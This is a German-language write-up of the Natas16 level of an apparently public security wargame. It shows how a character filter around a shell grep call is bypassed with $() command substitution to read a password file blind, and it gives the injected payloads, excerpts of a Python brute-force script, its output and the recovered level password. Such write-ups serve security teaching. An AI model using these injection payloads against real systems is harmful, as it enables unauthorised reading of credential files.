Aktualisiert am: 2022-08-26
Command Injection
Enumeration
Natas16 ist eine sicherere Version von Natas10.
- Der Parameter
$key
darf nun insbesondere weder Doublequotes ("
) noch Backslashes (\
) enthalten, bevor er angrep
übergeben wird -
Zudem ist
$key
von Doublequotes ("
) umgebenif($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } }
Exploitation
- Aus den Doublequotes (
"
) können wir nicht ausbrechen, auch nicht mit Zeichencodes (\x22
) - Immerhin bleiben uns die Zeichen
$()
für Command Substitution. Damit können wir den Output eines beliebigen Befehls als Pattern fürgrep
übergeben
grep
Mit einem inneren grep
prüfen wir, ob beispielsweise der Buchstabe A
im Kennwort vorkommt
grep -i "$(grep A /etc/natas_webpass/natas17)African" dictionary.txt
-
Wenn der innere
grep
etwas findet, wird dadurch der äusseregrep
fehlschlagenOutput: <pre> </pre>
-
Wenn hingegen der innere
grep
nichts findet, wird der äusseregrep
erfolgreich seinOutput: <pre> African </pre>
Ähnlich wie bei einer Blind SQL Injection liessen sich nun basierend auf dem jeweiligen Output
- alle möglichen Zeichen ermitteln und
- diese dann mittels Regex
^...
(beginnt mit …) durchprobieren
cut
Es ist deutlich effektiver, statt eines inneren grep
einen inneren cut
zu verwenden. Anstelle also zu prüfen, ob ein Zeichen im Kennwort vorkommt, lassen wir direkt beispielsweise das erste Zeichen zurückgeben
grep -i "^$(cut -c1 /etc/natas_webpass/natas17)" dictionary.txt
Dennoch müssen wir hier zur genaueren Bestimmung auf die ursprüngliche Variante mit einem inneren grep
zurückgreifen:
- Buchstaben: In der Datei
dictionary.txt
gibt es für jeden Buchstaben mindestens ein Wort, das mit dem jeweiligen Buchstaben beginnt. Wir wissen aber nicht, ob der zurückgegebene Buchstabe gross- oder kleingeschrieben ist (grep -i
, case-insensitive) - Ziffern: Sollten im Kennwort Ziffern vorkommen, könnten wir dies nicht feststellen, da sie in der Datei
dictionary.txt
gänzlich fehlen. Die Idee, das Kennwort vor der Extraktion zur Basis 26 (oder tiefer) zu codieren, um lediglich Buchstaben vorzufinden, habe ich nicht weiter verfolgt.
Python Script
Demo | natas16-solution.py
Demo | natas16-solution-debug.py
Das Script braucht weniger als 100 Versuche, um das Kennwort herauszufinden
001 #
0123456789
012 0
013 3
014 5
015 7
016 8
017 p
018 P
019 s
020 s
021 #
022 0
023 3
024 h
025 H
026 #
027 0
028 g
029 G
030 w
031 W
032 b
033 b
034 n
035 n
036 #
037 0
038 3
039 5
040 r
041 r
042 d
043 d
044 #
045 0
046 3
047 5
048 7
049 8
050 9
051 s
052 S
053 #
054 0
055 3
056 5
057 7
058 g
059 G
060 m
061 m
062 a
063 A
064 d
065 d
066 g
067 g
068 q
069 Q
070 n
071 N
072 d
073 d
074 k
075 k
076 h
077 h
078 p
079 P
080 k
081 k
082 q
083 q
084 #
085 0
086 3
087 5
088 7
089 8
090 9
091 c
092 c
093 w
094 w
095
requests: 95
password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Es probiert jeweils erst mit cut
die Zeichen direkt zu extrahieren
while (pw_current_char := get_positional_character(i)) is not None:
Im Erfolgsfall muss nur noch mit grep
geprüft werden, ob der kleingeschriebene Buchstabe nicht doch grossgeschrieben ist
# successful positional extraction?
if pw_current_char:
# ascii letter is not case-sensitive because of 'grep -i', verification needed
if not get_first_matching_character('^' + ''.join(pw), pw_current_char, True):
# lowercase character does not match password
pw_current_char = pw_current_char.upper()
Andernfalls wird es sich um ein Zeichen handeln, welches in der Datei dictionary.txt
nicht vorkommt: eine Ziffer. Einmalig müssen nun die im Kennwort verwendeten Ziffern ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Ziffern jeweils hinten angefügt und mit grep
durchprobiert
else:
# extraction failed, because character at specific position is not in the dictionary
# e.g. if password starts with a number, it cannot be found in the output
# for easier brute force, we first verify which characters are used in the password at all
if not verified_chars:
for c in string.digits:
# digit does match password?
if get_first_matching_character('', c):
verified_chars.append(c)
# brute force with verified characters
pw_current_char = get_first_matching_character('^' + ''.join(pw), verified_chars)